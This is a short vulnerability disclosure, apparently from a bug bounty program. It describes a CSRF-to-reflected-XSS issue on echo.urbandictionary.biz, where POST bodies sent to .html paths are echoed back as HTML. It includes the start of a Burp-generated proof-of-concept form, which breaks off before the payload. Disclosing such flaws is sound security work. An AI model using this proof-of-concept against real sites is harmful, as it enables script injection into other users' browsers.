CSRF to Reflected XSS at echo.urbandictionary.biz via spoofing content type

The host is vulnerable to XSS due to the fact that it does reflect any sent POST request body when the request sent to any existed/non-existed filename with .html extension which spoof the response content type to HTML.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://echo.urbandictionary.biz/xsxsxs.html" method="POST" enctype="text/plain">
      <input type="hidden" …